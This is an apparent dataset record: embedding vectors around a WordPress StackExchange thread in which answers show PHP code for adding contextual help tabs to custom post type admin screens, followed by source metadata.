0.0175933837890625,
0.00347137451171875,
0.0216217041015625,
-0.0014219284057617188,
-0.0440673828125,
-0.002788543701171875,
0.022491455078125,
0.022430419921875,
-0.0202178955078125,
0.0255279541015625,
-0.01198577880859375,
-0.02264404296875,
-0.006107330322265625,
-0.01155853271484375,
0.00855255126953125,
-0.059478759765625,
-0.044677734375,
-0.04046630859375,
-0.0447998046875,
-0.0228424072265625,
0.032379150390625,
-0.0132904052734375,
0.004566192626953125,
-0.01947021484375,
0.00447845458984375,
-0.0024051666259765625,
0.0123138427734375,
-0.004852294921875,
-0.01995849609375,
0.0186309814453125,
-0.001155853271484375,
0.04864501953125,
0.005855560302734375,
0.004238128662109375,
-0.0216064453125,
-0.01047515869140625,
-0.0310821533203125,
-0.00861358642578125,
-0.0283355712890625,
-0.0164642333984375,
-0.01702880859375,
-0.01319122314453125,
-0.0029697418212890625,
0.007427215576171875,
0.006641387939453125,
-0.01148223876953125,
0.0411376953125,
-0.003314971923828125,
0.0012063980102539062,
-0.004589080810546875,
0.046173095703125,
0.00411224365234375,
0.039581298828125,
0.01261138916015625,
0.0259246826171875,
-0.01496124267578125,
-0.0278778076171875,
0.045379638671875,
-0.0269927978515625,
-0.0533447265625,
-0.0205535888671875,
-0.03753662109375,
-0.036651611328125,
-0.0167236328125,
-0.023956298828125,
-0.0021610260009765625,
-0.033660888671875,
0.00554656982421875,
-0.0263671875,
0.0780029296875,
-0.02532958984375,
-0.01503753662109375,
0.03857421875,
-0.0161895751953125,
0.0218658447265625,
-0.016693115234375,
0.0183258056640625,
-0.005279541015625,
-0.01708984375,
-0.00974273681640625,
0.0199127197265625,
0.01312255859375,
-0.0197601318359375,
0.01021575927734375,
0.00411224365234375,
0.037078857421875,
0.003185272216796875,
0.03472900390625,
0.024810791015625,
-0.039398193359375,
-0.00328826904296875,
0.0148468017578125,
0.0098876953125,
-0.033294677734375,
0.00899505615234375,
0.01001739501953125,
-0.007808685302734375,
0.0257110595703125,
0.038299560546875,
0.052093505859375,
-0.07672119140625,
0.03094482421875,
0.00513458251953125,
0.0013246536254882812,
0.054901123046875,
0.015838623046875,
-0.008148193359375,
-0.023651123046875,
-0.02294921875,
-0.01366424560546875,
-0.0234832763671875,
-0.024871826171875,
0.0005640983581542969,
0.00527191162109375,
0.00008088350296020508,
0.0097503662109375,
-0.0021343231201171875,
-0.0276641845703125,
-0.0042572021484375,
0.0237884521484375,
0.0028934478759765625,
-0.018310546875,
0.0203704833984375,
0.0220794677734375,
-0.011199951171875,
-0.067138671875,
0.0178985595703125,
0.0045318603515625,
-0.019683837890625,
0.012176513671875,
-0.0082855224609375,
-0.0290374755859375,
0.055206298828125,
-0.052978515625,
0.0528564453125,
0.019073486328125,
-0.053741455078125,
-0.0848388671875,
-0.035186767578125,
0.036865234375,
0.02325439453125,
-0.0699462890625,
0.04400634765625,
-0.04010009765625,
-0.035400390625,
-0.005756378173828125,
-0.0171966552734375,
0.06536865234375,
-0.039703369140625,
-0.005069732666015625,
0.029876708984375,
-0.00785064697265625,
-0.01806640625,
-0.0279541015625,
-0.01007080078125,
-0.08489990234375,
-0.052215576171875,
-0.020294189453125,
-0.055511474609375,
0.004444122314453125,
-0.026336669921875,
-0.0859375,
0.1236572265625,
0.0006723403930664062,
0.04351806640625,
-0.00934600830078125,
0.04254150390625,
-0.0227813720703125,
0.024566650390625,
-0.0423583984375,
0.0621337890625,
0.00041675567626953125,
0.0273590087890625,
-0.047149658203125,
0.0024547576904296875,
-0.00409698486328125,
0.0154266357421875,
0.0401611328125,
0.004093170166015625,
-0.024505615234375,
0.0007677078247070312,
0.054229736328125,
0.036834716796875,
0.01306915283203125,
0.034454345703125,
0.0159454345703125,
-0.0169677734375,
0.05462646484375,
-0.013031005859375,
0.0311279296875,
0.004894256591796875,
0.0224456787109375,
0.0229034423828125,
0.017120361328125,
0.033599853515625,
0.0009088516235351562,
0.04638671875,
-0.00901031494140625,
-0.00492095947265625,
0.014739990234375,
-0.0093994140625,
0.023590087890625,
0.01111602783203125,
0.037261962890625,
-0.053192138671875,
-0.0013399124145507812,
-0.01554107666015625,
0.032745361328125,
0.00966644287109375,
0.0175018310546875,
0.07745361328125,
0.0208740234375,
0.031280517578125,
0.0229949951171875,
0.016876220703125,
-0.01177215576171875,
0.0296173095703125,
0.0777587890625,
0.066650390625,
0.047698974609375,
0.01006317138671875,
0.0249481201171875,
0.0260467529296875,
0.0726318359375,
-0.05810546875,
-0.0190887451171875,
0.015869140625,
0.018218994140625,
-0.006591796875,
0.007366180419921875,
0.0180206298828125,
-0.02764892578125,
0.024566650390625,
-0.0169525146484375,
0.0005865097045898438,
0.0254058837890625,
-0.009429931640625,
-0.005168914794921875,
-0.0019817352294921875,
0.01537322998046875,
0.0242919921875,
-0.036956787109375,
-0.0283203125,
0.0201568603515625,
0.02008056640625,
0.040435791015625,
-0.01016998291015625,
0.05023193359375,
-0.004375457763671875,
0.0152587890625,
0.027587890625,
-0.011871337890625,
-0.02752685546875,
-0.0562744140625,
-0.09918212890625,
0.03338623046875,
0.04632568359375,
0.044036865234375,
-0.0188751220703125,
0.08489990234375,
0.052276611328125,
-0.0635986328125,
-0.0188751220703125,
-0.0019588470458984375,
-0.0193023681640625,
-0.019134521484375,
-0.005771636962890625,
-0.033843994140625,
-0.002277374267578125,
-0.007617950439453125,
-0.01468658447265625,
0.07257080078125,
-0.026580810546875,
0.0071563720703125,
0.00019478797912597656,
0.0188751220703125,
-0.01166534423828125,
0.0267333984375,
-0.00635528564453125,
-0.0216827392578125,
0.0231475830078125,
-0.042022705078125,
-0.01397705078125,
-0.004779815673828125,
0.01427459716796875,
-0.01334381103515625,
0.006870269775390625,
-0.031951904296875,
0.049713134765625,
-0.006381988525390625,
-0.02813720703125,
-0.0179290771484375,
0.0301971435546875,
0.0036525726318359375,
0.0027008056640625,
0.01422882080078125,
-0.00933837890625,
-0.0196075439453125,
-0.00555419921875,
0.01120758056640625,
0.022796630859375,
0.0017290115356445312,
0.0233154296875,
0.00653076171875,
0.01459503173828125,
-0.00769805908203125,
0.038787841796875,
-0.05126953125,
0.007389068603515625,
-0.0299224853515625,
-0.016204833984375,
0.00926971435546875,
0.01119232177734375,
-0.010162353515625,
0.01348876953125,
0.034210205078125,
-0.034759521484375,
0.036590576171875,
-0.04425048828125,
0.004180908203125,
-0.040557861328125,
-0.00875091552734375,
-0.023040771484375,
-0.001190185546875,
-0.0233001708984375,
-0.023895263671875,
0.033477783203125,
0.01102447509765625,
0.00006961822509765625,
-0.00702667236328125,
0.018035888671875,
-0.037506103515625,
0.029510498046875,
-0.0011272430419921875,
0.0312347412109375,
0.031768798828125,
0.00452423095703125,
0.01541900634765625,
0.0225067138671875,
-0.0103912353515625,
0.01367950439453125,
0.02197265625,
-0.006099700927734375,
0.0308685302734375,
-0.04266357421875,
-0.01904296875,
0.0034427642822265625,
0.0168304443359375,
0.00835418701171875,
0.0110931396484375,
-0.019744873046875,
-0.006946563720703125,
0.0031337738037109375,
0.02362060546875,
-0.0318603515625,
-0.0083160400390625,
-0.03515625,
-0.00238800048828125,
-0.03289794921875,
-0.095458984375,
-0.0733642578125,
0.0100250244140625,
0.014251708984375,
0.018402099609375,
-0.0972900390625,
0.0849609375,
-0.0136871337890625,
0.01971435546875,
-0.0201568603515625,
-0.01346588134765625,
-0.016265869140625,
-0.0080413818359375,
-0.0006089210510253906,
-0.051666259765625,
-0.02923583984375,
0.07794189453125,
-0.012115478515625,
-0.008087158203125,
-0.0066375732421875,
-0.005748748779296875,
0.0005044937133789062,
-0.0159912109375,
0.01239776611328125,
0.0119781494140625,
0.0298309326171875,
-0.0171966552734375,
0.05145263671875,
-0.011260986328125,
-0.03082275390625,
-0.087646484375,
-0.016510009765625,
-0.07012939453125,
0.043060302734375,
-0.02471923828125,
0.02264404296875,
0.0258331298828125,
-0.035125732421875,
-0.0806884765625,
0.061187744140625,
-0.0304718017578125,
-0.02337646484375,
-0.00817108154296875,
0.0012044906616210938,
-0.009521484375,
0.018157958984375,
0.006145477294921875,
-0.01434326171875,
-0.0177154541015625,
0.0183258056640625,
-0.0004916191101074219,
0.059722900390625,
-0.025787353515625,
-0.00250244140625,
0.005428314208984375,
0.0308990478515625,
0.0159454345703125,
0.01189422607421875,
0.00565338134765625,
0.0065765380859375,
0.022979736328125,
0.06451416015625,
-0.0120849609375,
0.01739501953125,
-0.013916015625,
-0.0362548828125,
-0.032318115234375,
-0.002605438232421875,
-0.0479736328125,
-0.0260009765625,
0.1043701171875,
0.09027099609375,
0.035125732421875,
-0.03729248046875,
0.036285400390625,
-0.007488250732421875,
-0.0256500244140625,
-0.0095367431640625,
0.0138702392578125,
-0.0307769775390625,
-0.0091400146484375,
-0.0027923583984375,
-0.00553131103515625,
-0.013763427734375,
-0.02587890625,
-0.0309600830078125,
-0.020111083984375,
-0.0292816162109375,
0.004596710205078125,
-0.0271148681640625,
0.04473876953125,
-0.0261993408203125,
-0.00927734375,
-0.0258636474609375,
-0.0248565673828125,
-0.01085662841796875,
-0.03045654296875,
-0.007274627685546875,
-0.0012054443359375,
-0.0302886962890625,
-0.004444122314453125,
0.035919189453125,
-0.006259918212890625,
0.0090789794921875,
-0.036651611328125,
-0.037078857421875,
-0.01454925537109375,
0.0099945068359375,
0.0079345703125,
0.00021898746490478516,
0.0093231201171875,
-0.018585205078125,
-0.001800537109375,
0.03948974609375,
-0.010650634765625,
0.017730712890625,
-0.0172271728515625,
0.030426025390625,
-0.048309326171875,
-0.004650115966796875,
-0.008026123046875,
-0.020782470703125,
-0.006107330322265625,
0.0158843994140625,
0.00847625732421875,
-0.055999755859375,
0.035980224609375,
0.053497314453125,
0.03424072265625,
0.0226593017578125
] |
3105d691454029613fba1dcc72c1c9902ca313d3
|
Wordpress Stackexchange
Q: Adding Help Tabs To Custom Post Types Using this well written post - tutorial Edit dashboard's help tab I have full control over all standard WordPress admin screens.
Can this be modified to add "Help" Tabs to custom post types?
A: Use this code for solve your Problem.
function custom_help() {
global $post_ID;
$screen = get_current_screen();
if( isset($_GET['post_type']) ) $post_type = $_GET['post_type'];
else $post_type = get_post_type( $post_ID );
if( $post_type == 'listing' ) :
$screen->add_help_tab( array(
'id' => 'you_custom_id', // unique id for the tab
'title' => 'Custom Help', // unique visible title for the tab
'content' => '<h3>Help Title</h3><p>Help content</p>', //actual help text
));
$screen->add_help_tab( array(
'id' => 'you_custom_id_2', // unique id for the second tab
'title' => 'Custom Help 2', // unique visible title for the second tab
'content' => '<h3>Help Title 2</h3><p>Help content</p>', //actual help text
));
endif;
}
add_action('admin_head', 'custom_help');
|
Q: Adding Help Tabs To Custom Post Types Using this well written post - tutorial Edit dashboard's help tab I have full control over all standard WordPress admin screens.
Can this be modified to add "Help" Tabs to custom post types?
A: Use this code for solve your Problem.
function custom_help() {
global $post_ID;
$screen = get_current_screen();
if( isset($_GET['post_type']) ) $post_type = $_GET['post_type'];
else $post_type = get_post_type( $post_ID );
if( $post_type == 'listing' ) :
$screen->add_help_tab( array(
'id' => 'you_custom_id', // unique id for the tab
'title' => 'Custom Help', // unique visible title for the tab
'content' => '<h3>Help Title</h3><p>Help content</p>', //actual help text
));
$screen->add_help_tab( array(
'id' => 'you_custom_id_2', // unique id for the second tab
'title' => 'Custom Help 2', // unique visible title for the second tab
'content' => '<h3>Help Title 2</h3><p>Help content</p>', //actual help text
));
endif;
}
add_action('admin_head', 'custom_help');
A: The method of Adding Help Tabs described here Edit dashboard's help tab also works for custom posts types as long as the edit-CustomPostType function (list admin screen) occurs before the CustomPostType function (edit / add new admin screen). For custom post type taxonomies use edit-taxonomyName. Cheers.
A: I actually happened to bump into this answer yesterday on this tutorial:
*
*Complete Guide: Custom Post Types.
Just change "product" on line 2 to suite your needs.
The contextual help feature is a descending tab which can be seen in the top right of pages where available. Let’s take a look at how the contents can be changed.
function my_contextual_help( $contextual_help, $screen_id, $screen ) {
if ( 'product' == $screen->id ) {
$contextual_help = '<h2>Products</h2>
<p>Products show the details of the items that we sell on the website. You can see a list of them on this page in reverse chronological order - the latest one we added is first.</p>
<p>You can view/edit the details of each product by clicking on its name, or you can perform bulk actions using the dropdown menu and selecting multiple items.</p>';
} elseif ( 'edit-product' == $screen->id ) {
$contextual_help = '<h2>Editing products</h2>
<p>This page allows you to view/modify product details. Please make sure to fill out the available boxes with the appropriate details (product image, price, brand) and <strong>not</strong> add these details to the product description.</p>';
}
return $contextual_help;
}
add_action( 'contextual_help', 'my_contextual_help', 10, 3 );
The codes above will generate dynamic help tabs based on the screen->id, this essential when you want to show help tab only in a particular admin page or in your case a CPT, just target the slug og the CPT.
|
wordpress
|
{
"language": "en",
"length": 427,
"provenance": "stackexchange_00019.jsonl.gz:436935",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113691"
}
|
[
0.051849365234375,
-0.015625,
0.02227783203125,
-0.024261474609375,
0.00984954833984375,
-0.0194244384765625,
0.049041748046875,
-0.007205963134765625,
-0.0281829833984375,
-0.00455474853515625,
0.0158538818359375,
-0.0027866363525390625,
-0.00835418701171875,
-0.056427001953125,
0.038421630859375,
-0.023895263671875,
0.0556640625,
-0.0445556640625,
0.03607177734375,
-0.006916046142578125,
0.01039886474609375,
0.0153350830078125,
0.058929443359375,
0.0958251953125,
0.0298919677734375,
-0.049041748046875,
0.032073974609375,
-0.005764007568359375,
0.017242431640625,
0.0006732940673828125,
0.01398468017578125,
-0.0167999267578125,
-0.0142059326171875,
0.0457763671875,
0.006694793701171875,
0.010040283203125,
0.068603515625,
0.0009474754333496094,
0.046539306640625,
0.02996826171875,
0.0413818359375,
-0.0128173828125,
0.033294677734375,
-0.0112152099609375,
0.0020351409912109375,
-0.010009765625,
0.0288848876953125,
-0.0107574462890625,
0.016326904296875,
-0.01172637939453125,
-0.0182952880859375,
0.004573822021484375,
-0.0036029815673828125,
-0.05096435546875,
-0.0135955810546875,
-0.0248260498046875,
0.043121337890625,
-0.07525634765625,
0.04119873046875,
-0.0191497802734375,
-0.0274505615234375,
-0.035736083984375,
0.041168212890625,
-0.01543426513671875,
-0.030426025390625,
0.006801605224609375,
0.0275726318359375,
-0.01129150390625,
-0.016448974609375,
-0.03619384765625,
0.0175323486328125,
-0.003391265869140625,
0.0189971923828125,
-0.0013294219970703125,
0.01064300537109375,
-0.03369140625,
0.01015472412109375,
-0.0204315185546875,
0.0036411285400390625,
0.02423095703125,
0.0036296844482421875,
-0.01088714599609375,
0.0380859375,
-0.020721435546875,
-0.0098419189453125,
-0.00772857666015625,
-0.0213165283203125,
0.007556915283203125,
0.022003173828125,
-0.0211029052734375,
0.007434844970703125,
-0.0264739990234375,
-0.0169525146484375,
0.048004150390625,
0.01611328125,
-0.045196533203125,
0.05474853515625,
0.049468994140625,
-0.0048065185546875,
-0.00022161006927490234,
0.014129638671875,
-0.046661376953125,
0.044830322265625,
-0.037933349609375,
0.01044464111328125,
0.011383056640625,
-0.031890869140625,
-0.04266357421875,
0.0212249755859375,
0.0312347412109375,
-0.014617919921875,
-0.0232696533203125,
0.0243072509765625,
-0.0178070068359375,
-0.0134735107421875,
-0.018463134765625,
-0.01629638671875,
0.01396942138671875,
0.0197601318359375,
-0.0095062255859375,
-0.00201416015625,
0.0005636215209960938,
0.01528167724609375,
-0.01100921630859375,
-0.012176513671875,
-0.0172576904296875,
-0.0273895263671875,
-0.0281524658203125,
0.007720947265625,
-0.0277099609375,
-0.02630615234375,
0.023284912109375,
0.0927734375,
0.043609619140625,
0.030853271484375,
-0.00814056396484375,
0.0040130615234375,
-0.047698974609375,
-0.0268402099609375,
0.013336181640625,
0.0274200439453125,
0.00156402587890625,
0.00417327880859375,
-0.0106658935546875,
0.034759521484375,
0.03759765625,
0.00565338134765625,
0.00360870361328125,
0.002971649169921875,
-0.048492431640625,
0.0567626953125,
-0.06036376953125,
0.03387451171875,
0.006107330322265625,
-0.0011911392211914062,
-0.0142822265625,
-0.003475189208984375,
-0.0165252685546875,
-0.01336669921875,
-0.01287078857421875,
0.0111083984375,
0.0007977485656738281,
0.0132904052734375,
-0.064208984375,
-0.07269287109375,
0.0007977485656738281,
-0.03863525390625,
-0.01385498046875,
0.0174560546875,
-0.00785064697265625,
-0.0195159912109375,
-0.0250396728515625,
0.036224365234375,
-0.003940582275390625,
-0.0246734619140625,
0.03192138671875,
0.01526641845703125,
0.00664520263671875,
0.043212890625,
0.019683837890625,
-0.007358551025390625,
-0.023956298828125,
0.06744384765625,
-0.0310821533203125,
-0.0836181640625,
0.059295654296875,
-0.0236053466796875,
0.05865478515625,
0.0538330078125,
-0.006259918212890625,
0.01436614990234375,
-0.004306793212890625,
-0.024658203125,
-0.040252685546875,
-0.00965118408203125,
-0.0190887451171875,
0.001232147216796875,
-0.0048980712890625,
-0.015411376953125,
0.063720703125,
-0.005161285400390625,
0.00003522634506225586,
-0.01186370849609375,
0.0309906005859375,
-0.029571533203125,
-0.0011796951293945312,
-0.01306915283203125,
0.0251007080078125,
0.0087890625,
-0.00974273681640625,
0.01514434814453125,
-0.0191497802734375,
0.009674072265625,
-0.056427001953125,
-0.042236328125,
0.012725830078125,
-0.0006628036499023438,
0.0285797119140625,
-0.005329132080078125,
0.01003265380859375,
0.0099334716796875,
-0.038299560546875,
0.01291656494140625,
0.031890869140625,
0.020843505859375,
-0.0009317398071289062,
-0.013702392578125,
-0.006988525390625,
0.01184844970703125,
0.01239776611328125,
-0.0162811279296875,
0.033782958984375,
0.050048828125,
0.042999267578125,
-0.006626129150390625,
-0.01381683349609375,
0.015350341796875,
-0.0703125,
-0.000028431415557861328,
0.057769775390625,
0.0160064697265625,
0.008880615234375,
-0.0149383544921875,
0.00003427267074584961,
0.004428863525390625,
0.01087188720703125,
0.0374755859375,
-0.0178680419921875,
-0.031005859375,
0.015869140625,
0.0068359375,
0.04150390625,
0.0236663818359375,
-0.020965576171875,
0.00647735595703125,
0.039520263671875,
-0.04058837890625,
-0.02655029296875,
0.01428985595703125,
-0.03472900390625,
0.0227203369140625,
-0.08929443359375,
-0.0352783203125,
-0.027099609375,
0.059967041015625,
-0.0157012939453125,
0.06658935546875,
0.038543701171875,
-0.033203125,
-0.0272674560546875,
0.01206207275390625,
0.0287628173828125,
-0.0090484619140625,
-0.006893157958984375,
0.038330078125,
-0.0200958251953125,
-0.052398681640625,
0.0253753662109375,
0.0250244140625,
-0.017913818359375,
-0.0174713134765625,
0.01103973388671875,
-0.044403076171875,
-0.01149749755859375,
0.0195159912109375,
-0.036529541015625,
-0.0161895751953125,
-0.00754547119140625,
-0.00807952880859375,
-0.01666259765625,
0.006656646728515625,
0.0228271484375,
-0.021148681640625,
0.00952911376953125,
0.026397705078125,
-0.0122222900390625,
0.0140228271484375,
-0.047271728515625,
0.035919189453125,
-0.032989501953125,
0.057769775390625,
0.0782470703125,
0.0015850067138671875,
0.018829345703125,
0.0063629150390625,
-0.01068878173828125,
-0.0286865234375,
0.034820556640625,
0.01263427734375,
-0.023101806640625,
0.006771087646484375,
0.0718994140625,
0.010009765625,
0.06292724609375,
-0.0231170654296875,
-0.0362548828125,
0.0102691650390625,
0.01629638671875,
-0.03314208984375,
-0.0667724609375,
0.0251922607421875,
-0.05987548828125,
-0.02374267578125,
-0.0119171142578125,
-0.043701171875,
-0.007442474365234375,
0.00577545166015625,
-0.01666259765625,
-0.0090484619140625,
-0.038665771484375,
-0.0160980224609375,
-0.05108642578125,
-0.054229736328125,
-0.061187744140625,
0.0118408203125,
0.00308990478515625,
0.01273345947265625,
0.01629638671875,
0.01788330078125,
-0.0055389404296875,
0.051422119140625,
0.00527191162109375,
-0.00820159912109375,
-0.00756072998046875,
0.0171661376953125,
-0.049468994140625,
0.076904296875,
0.000024437904357910156,
-0.02685546875,
0.0408935546875,
0.0120391845703125,
-0.037384033203125,
-0.0406494140625,
0.0010328292846679688,
-0.00926971435546875,
0.022735595703125,
0.046875,
0.021148681640625,
0.0216064453125,
-0.027923583984375,
-0.0048828125,
0.0049896240234375,
-0.0260467529296875,
-0.03826904296875,
0.01727294921875,
-0.02178955078125,
-0.04736328125,
0.0059051513671875,
0.0134429931640625,
-0.0037631988525390625,
0.0125885009765625,
0.0202178955078125,
-0.01483154296875,
-0.0096282958984375,
0.00211334228515625,
-0.01580810546875,
0.0035533905029296875,
-0.004425048828125,
0.0389404296875,
0.01226043701171875,
0.048828125,
0.0037841796875,
0.00982666015625,
-0.049072265625,
-0.049896240234375,
0.0625,
-0.0089569091796875,
0.0189361572265625,
-0.0303955078125,
-0.050140380859375,
0.00676727294921875,
0.0941162109375,
-0.07525634765625,
-0.013580322265625,
-0.00901031494140625,
0.023406982421875,
0.018829345703125,
-0.07806396484375,
0.00579071044921875,
-0.03790283203125,
-0.06793212890625,
0.0221710205078125,
0.005039215087890625,
-0.034454345703125,
-0.055389404296875,
0.040771484375,
-0.06817626953125,
-0.00469207763671875,
0.04168701171875,
-0.0229949951171875,
0.017333984375,
0.0413818359375,
0.0034503936767578125,
0.0186767578125,
-0.0286712646484375,
-0.0293121337890625,
-0.0887451171875,
-0.0240020751953125,
-0.006595611572265625,
0.07611083984375,
0.01385498046875,
-0.021514892578125,
-0.0016632080078125,
0.058135986328125,
0.048248291015625,
0.05035400390625,
0.002834320068359375,
-0.02899169921875,
0.0125732421875,
-0.0068359375,
0.028228759765625,
-0.022216796875,
-0.01666259765625,
0.0080413818359375,
-0.0006976127624511719,
0.075439453125,
-0.0020427703857421875,
0.009796142578125,
0.0189208984375,
-0.0182342529296875,
-0.0635986328125,
-0.033599853515625,
-0.0056610107421875,
-0.0036449432373046875,
0.010223388671875,
-0.0308074951171875,
-0.03082275390625,
-0.06134033203125,
0.01264190673828125,
0.05560302734375,
-0.03564453125,
0.017852783203125,
0.004779815673828125,
0.0232391357421875,
-0.048187255859375,
-0.060791015625,
0.00765228271484375,
0.030181884765625,
-0.0175628662109375,
0.04730224609375,
0.0198974609375,
-0.011444091796875,
0.0496826171875,
-0.0201263427734375,
-0.034698486328125,
-0.002010345458984375,
0.04656982421875,
-0.019317626953125,
-0.041107177734375,
0.018280029296875,
-0.06439208984375,
0.048492431640625,
-0.016998291015625,
-0.016571044921875,
-0.01953125,
-0.02783203125,
0.061614990234375,
-0.0027904510498046875,
0.0625,
-0.03704833984375,
-0.01146697998046875,
0.007747650146484375,
0.0283203125,
0.0244293212890625,
0.0183563232421875,
0.00591278076171875,
-0.004047393798828125,
-0.036895751953125,
0.0186614990234375,
0.001476287841796875,
-0.005283355712890625,
0.005908966064453125,
0.0175018310546875,
0.0478515625,
0.021484375,
-0.01190185546875,
0.0020656585693359375,
0.035491943359375,
-0.0101470947265625,
-0.04754638671875,
-0.02288818359375,
-0.010589599609375,
0.0030765533447265625,
0.005290985107421875,
0.007568359375,
0.0242156982421875,
0.0294342041015625,
0.0003590583801269531,
0.0164642333984375,
0.02740478515625,
0.0034503936767578125,
-0.01837158203125,
-0.0258331298828125,
0.018157958984375,
-0.0164642333984375,
-0.034820556640625,
0.08612060546875,
-0.00592803955078125,
0.0257720947265625,
-0.01024627685546875,
0.0247344970703125,
0.037994384765625,
-0.004680633544921875,
0.00849151611328125,
0.041961669921875,
-0.00910186767578125,
-0.004730224609375,
0.029205322265625,
-0.0159759521484375,
-0.0107574462890625,
0.014556884765625,
0.042266845703125,
-0.0048675537109375,
-0.01235198974609375,
0.01139068603515625,
-0.03851318359375,
-0.0078277587890625,
-0.0011281967163085938,
0.0013437271118164062,
-0.038055419921875,
0.0010499954223632812,
-0.0028209686279296875,
-0.00913238525390625,
-0.022491455078125,
-0.008056640625,
0.05010986328125,
-0.0206756591796875,
0.055419921875,
0.0165557861328125,
0.02685546875,
-0.01506805419921875,
-0.0096435546875,
-0.0281219482421875,
-0.01434326171875,
-0.002567291259765625,
-0.0310516357421875,
-0.0239715576171875,
0.005413055419921875,
-0.0055694580078125,
0.0012636184692382812,
-0.0103607177734375,
0.06304931640625,
-0.028778076171875,
-0.0247039794921875,
-0.0263671875,
0.01044464111328125,
0.03436279296875,
0.00997161865234375,
-0.04095458984375,
0.024139404296875,
-0.0391845703125,
-0.003719329833984375,
-0.055023193359375,
-0.0850830078125,
-0.032989501953125,
-0.035797119140625,
0.0196990966796875,
0.01427459716796875,
-0.01202392578125,
-0.052947998046875,
-0.00905609130859375,
0.0130462646484375,
0.01806640625,
0.0179290771484375,
-0.0091400146484375,
0.088623046875,
0.007343292236328125,
0.05078125,
0.036224365234375,
0.06488037109375,
-0.006992340087890625,
-0.0256805419921875,
0.011932373046875,
-0.051422119140625,
-0.002532958984375,
-0.00807952880859375,
0.01324462890625,
0.01476287841796875,
0.00337982177734375,
-0.00399017333984375,
-0.004894256591796875,
0.0122222900390625,
0.00244903564453125,
-0.0275115966796875,
-0.01432037353515625,
0.0205078125,
-0.006046295166015625,
0.01155853271484375,
-0.03179931640625,
0.02410888671875,
0.0177764892578125,
0.027252197265625,
-0.0004832744598388672,
-0.043426513671875,
0.01267242431640625,
0.025146484375,
-0.07220458984375,
0.073486328125,
0.115234375,
0.036590576171875,
0.06658935546875,
-0.004467010498046875,
0.0145263671875,
0.0243682861328125,
-0.0006561279296875,
0.0233154296875,
0.004169464111328125,
0.06842041015625,
0.0065460205078125,
-0.0293426513671875,
0.035186767578125,
-0.044219970703125,
0.028167724609375,
0.0355224609375,
0.053924560546875,
-0.0679931640625,
0.01082611083984375,
0.007648468017578125,
-0.0109710693359375,
0.07171630859375,
-0.004638671875,
-0.004573822021484375,
-0.0162811279296875,
0.0254058837890625,
-0.0310211181640625,
-0.032257080078125,
-0.01025390625,
-0.01049041748046875,
0.0032176971435546875,
-0.0105438232421875,
0.045013427734375,
-0.0033283233642578125,
-0.0222930908203125,
-0.03302001953125,
0.0018901824951171875,
-0.004276275634765625,
0.0046844482421875,
0.033355712890625,
0.004703521728515625,
-0.01153564453125,
-0.059326171875,
0.01458740234375,
-0.0283203125,
-0.025604248046875,
0.0443115234375,
-0.00565338134765625,
0.019287109375,
0.03765869140625,
-0.01201629638671875,
0.0218048095703125,
-0.00484466552734375,
-0.0191192626953125,
0.0240936279296875,
0.004169464111328125,
0.005153656005859375,
0.01174163818359375,
-0.0164337158203125,
0.0050811767578125,
-0.036773681640625,
0.001312255859375,
-0.0175933837890625,
-0.0223388671875,
0.0904541015625,
-0.03448486328125,
-0.0280303955078125,
0.0121917724609375,
0.0037784576416015625,
0.0024433135986328125,
-0.00975799560546875,
0.01690673828125,
-0.042694091796875,
-0.024139404296875,
0.00043201446533203125,
-0.052886962890625,
-0.0014324188232421875,
-0.0225067138671875,
-0.054443359375,
0.100341796875,
0.013031005859375,
0.009185791015625,
0.02667236328125,
0.031463623046875,
-0.06787109375,
-0.0020771026611328125,
-0.03302001953125,
0.039154052734375,
-0.0032196044921875,
0.048828125,
-0.05462646484375,
-0.01143646240234375,
0.0045318603515625,
0.04901123046875,
0.0038852691650390625,
0.0004258155822753906,
-0.02581787109375,
0.007732391357421875,
0.0218505859375,
0.02935791015625,
0.0035037994384765625,
0.0169677734375,
-0.012176513671875,
-0.025665283203125,
0.022125244140625,
-0.0157470703125,
0.02899169921875,
-0.026947021484375,
-0.0178070068359375,
0.004001617431640625,
0.01253509521484375,
0.01326751708984375,
-0.04058837890625,
-0.024658203125,
-0.026824951171875,
-0.021759033203125,
0.016265869140625,
-0.032562255859375,
-0.001552581787109375,
0.0239715576171875,
-0.00037598609924316406,
-0.0245513916015625,
0.01126861572265625,
-0.0364990234375,
0.043792724609375,
-0.00757598876953125,
0.0225372314453125,
0.0312347412109375,
0.032196044921875,
-0.0095977783203125,
-0.0107574462890625,
0.0228271484375,
0.01523590087890625,
-0.028411865234375,
0.0218963623046875,
0.0085601806640625,
0.007381439208984375,
-0.043365478515625,
0.033935546875,
0.05450439453125,
0.04132080078125,
-0.046295166015625,
-0.038421630859375,
0.007221221923828125,
0.020111083984375,
0.005573272705078125,
0.006565093994140625,
0.01294708251953125,
0.004985809326171875,
0.0633544921875,
-0.040313720703125,
0.01306915283203125,
0.0284881591796875,
-0.00615692138671875,
-0.017730712890625,
0.0074920654296875,
-0.019287109375,
0.0198516845703125,
-0.03802490234375,
-0.023590087890625,
0.0248260498046875,
0.03570556640625,
0.033721923828125,
0.059478759765625,
0.04736328125,
-0.01119232177734375,
-0.01068878173828125,
-0.0014553070068359375,
0.0034236907958984375,
0.015625,
-0.042816162109375,
-0.044708251953125,
0.0452880859375,
0.03839111328125,
0.050506591796875,
0.0052032470703125,
0.0030078887939453125,
-0.0039520263671875,
0.04254150390625,
0.01322174072265625,
0.01898193359375,
-0.0043792724609375,
-0.0044708251953125,
-0.045166015625,
0.01471710205078125,
0.01517486572265625,
-0.01354217529296875,
0.032745361328125,
-0.033599853515625,
0.0435791015625,
0.0018796920776367188,
0.0108642578125,
-0.0048828125,
-0.02520751953125,
0.05145263671875,
0.0024623870849609375,
0.0845947265625,
0.024200439453125,
-0.0921630859375,
-0.00986480712890625,
-0.049957275390625,
-0.05078125,
0.036041259765625,
0.048492431640625,
0.00843048095703125,
-0.0231170654296875,
-0.01113128662109375,
-0.00743865966796875,
-0.03057861328125,
0.0233001708984375,
0.0126953125,
0.030731201171875,
0.0220947265625,
0.0172576904296875,
-0.041656494140625,
-0.019805908203125,
-0.013580322265625,
0.02276611328125,
0.00983428955078125,
-0.01146697998046875,
0.017486572265625,
0.0284576416015625,
-0.0157012939453125,
0.0701904296875,
-0.07904052734375,
-0.0263671875,
0.0296783447265625,
-0.01235198974609375,
0.0181121826171875,
0.003452301025390625,
-0.034637451171875,
0.03228759765625,
0.0245361328125,
0.010528564453125,
0.00022125244140625,
-0.0132598876953125,
0.022552490234375,
-0.008636474609375,
0.0167236328125,
-0.0210113525390625,
